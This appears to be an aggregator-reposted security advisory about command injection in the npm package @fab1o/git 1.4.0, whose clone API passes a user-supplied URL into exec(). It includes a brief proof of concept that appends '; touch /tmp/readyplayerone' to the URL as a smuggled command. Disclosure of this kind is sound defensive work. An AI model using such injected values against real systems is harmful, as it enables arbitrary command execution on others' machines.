


























This write-up is a public report of the Command Injection vulnerability in @fab1o/git@1.4.0 which I reported to the maintainer yet received no response.
The @fab1o/git npm library describes itself as a wrapper for command line git with promises.
Resources:
I’m reporting a Command Injection vulnerability in @fab1o/git npm package.
This vulnerability manifests with the library’s clone API,
which allows user input to specify the remote URL to clone and then concatenates
this string along with a git command which is then passed to the unsafe exec()
Node.js child process API.
It should be noted that other function methods exposed as user-facing APIs are also vulnerable.
@fab1o/git@1.4.0 or earlierconst { Git } = require("@fab1o/git");
var git = new Git();
git
.clone(
"https://github.com/sayden/git-command-line.git; touch /tmp/readyplayerone"
)
.then(function (res) {
console.log(res);
})
.catch(function (err) {
console.error(err);
});
/tmp/readyplayerone此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。